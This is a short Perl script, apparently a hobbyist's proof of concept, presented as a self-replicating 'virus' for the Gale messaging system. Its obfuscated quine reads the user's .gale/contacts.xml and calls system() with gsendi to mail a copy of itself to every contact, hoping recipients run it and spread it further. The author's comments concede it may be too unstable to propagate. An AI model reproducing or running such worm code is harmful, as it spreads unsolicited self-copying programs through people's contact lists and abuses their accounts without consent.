# Inspired by Jed's comment 2 January 2004 that there was an IM virus
# spreading through MSN messenger, but that it required the user to
# click a link in order to spread...the first ever Gale virus!

$x=$y=q:s@</?name>@@g&&system(q+echo perl -wne +.chr(39).q+\$x=\$y=q\\(+.$x.q+\\)\;\$x=~s/\[\^a-z0-9@,=_~-\]/+.(chr(92)x4).q+\$\&/g\;eval\$y\;+.chr(39).q+ .gale/contacts.xml|gsendi +.$_):;
$x=~s/[^a-z0-9@,=_~-]/\\$&/g;
eval$y

# Theoretically this sends a copy of itself to each user in the Gale
# contacts.xml file; hopefully that user will run it, and in this way
# it can propagate.

# I think it's actually not stable (my head hurts from thinking about
# the amount of escaping going on for both the shell and the meta
# programming needed for the quine), so it probably can't spread.  But
# it certainly can confuse all of your contacts.